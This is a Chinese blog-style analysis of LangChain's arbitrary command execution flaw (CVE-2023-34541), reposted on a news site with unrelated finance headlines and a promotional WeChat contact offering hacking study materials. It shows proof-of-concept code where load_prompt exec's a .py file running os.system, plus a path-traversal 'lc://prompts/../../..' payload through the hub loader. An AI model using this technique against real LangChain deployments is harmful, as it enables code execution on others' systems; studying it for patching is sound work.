焦点信息:LangChain 任意命令执行(CVE-2023-34541)

2023-06-28 10:17:36 来源:博客园

漏洞简介

LangChain是一个用于开发由语言模型驱动的应用程序的框架。

在LangChain受影响版本中,由于load_prompt函数加载提示文件时未对加载内容进行安全过滤,攻击者可通过构造包含恶意命令的提示文件,诱导用户加载该文件,即可造成任意系统命令执行。


【资料图】

漏洞复现

在项目下编写test.py

from langchain.prompts import load_promptif __name__ == "__main__":  loaded_prompt = load_prompt("system.py")

同级目录下编写system.py​ 执行系统命令dir

import osos.system("dir")

运行test.py​ 返回了执行系统命令dir​的结果

漏洞分析-_load_prompt_from_file

langchain.prompts.loading.load_prompt

try_load_from_hub​ 是尝试从给定的路径远程加载文件但是因为我们是加载本地文件,所以接下会跳转到_load_prompt_from_file

langchain.prompts.loading._load_prompt_from_file

_load_prompt_from_file​ 根据文件的后缀,当后缀是.py​ 时 最终会读取该文件并利用exec​ 去执行

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)

也就相当于,代码可以简写为

if __name__ == "__main__":  file_path = "system.py"  with open(file_path, "rb") as f:    exec(f.read())

漏洞分析-try_load_from_hub

因为网络的原因一直没有办法复现成功,这里就代码层面进行一个详细的分析

from langchain.prompts import load_prompt​if __name__ == "__main__":  loaded_prompt = load_prompt("lc://prompts/../../../../../../../system.py")

langchain.prompts.loading.load_prompt

langchain.utilities.loading.try_load_from_hub

首先匹配了HUB_PATH_RE = re.compile(r"lc(?Pref@[^:]+)?://(?Ppath.*)")​ 所以需要满足最开始是lc://

然后对后面的内容进行匹配,要求第一个字段的值是prompts​ 最后的后缀要在{"py", "yaml", "json"}​ 中

最后拼接请求的url 可以通过../../../​ 绕出项目的限制,指向我们设定好的文件,并读取加载实现任意命令执行

漏洞小结

在最新版本上面进行尝试,仍然存在这个漏洞,这个漏洞的本质就是可以加载执行本地或者指定的 python 文件,但是在实际应用中这个问题应该并不是那么好进行利用,因为 python 文件的地址要可控才行。

更多网安技能的在线实操练习,请点击这里>>

标签:

观速讯丨6月26日基金净值:博时博盈稳健6个月持有期混合A最新净值0.9608,跌0.31%

6月26日,博时博盈稳健6个月持有期混合A最新单位净值为0 9608元,累计

2023-06-28 10:19:26

信息:海欣食品: 关于向特定对象发行股票申请获得中国证券监督管理委员会同意注册批复的公告

海欣食品:关于向特定对象发行股票申请获得中国证券监督管理委员会同意

2023-06-28 09:52:17

顺鑫农业拟剥离房地产业务 挂牌转让顺鑫佳宇全部股权

6月26日,北京顺鑫农业股份有限公司(简称“顺鑫农业”)发布公告称,

2023-06-28 08:51:57

露笑科技业绩预报:预计上半年净利润1.1亿至1.3亿元 焦点速递

露笑科技业绩预报:预计上半年净利润1 1亿至1 3亿元,校对,露笑科技,业

2023-06-28 08:52:47

知己知彼,选择适合自己的债券基金-天天快讯

债券基金的细分类型包括短债、中长期纯债、一二级债基、债券指数基金等

2023-06-28 07:35:04

DeFi 基础设施服务商【Earn Network】完成 270 万美元融资,Shima Capital 领投_全球观速讯

近日,DeFi基础设施服务商EarnNetwork宣布完成270万美元融资。本轮融资

2023-06-28 07:55:03

SHEIN否认秘密申请在美上市 称该消息不实_热讯

6月26日,有消息称,中国跨境电商SHEIN已经秘密向美国有关方面提交材料

2023-06-28 07:24:04

报道:硬盘损坏可以修复吗_硬盘损坏怎么修复

1、怎么恢复硬盘数据损坏?定期对移动硬盘文件进行清理,相信是很多人

2023-06-28 07:30:40

基层治理添活力!苏州相城黄桥街道党建带团建,助力社区基层建设

近日,苏州市相城区黄桥街道春嘉社区党总支联合团支部开展“以文明铸就

2023-06-28 07:32:14

世界讯息:1分钟7连踢!男子高铁调座椅被老人狂踹椅背

6月25日,陕西一网友发视频曝光:高铁上,男子因把座椅放倒引后座大爷

2023-06-28 06:53:49
x 广告
x 广告

Copyright ©  2015-2023 亚商网版权所有  备案号:京ICP备2021034106号-51   联系邮箱:5 516 538 @qq.com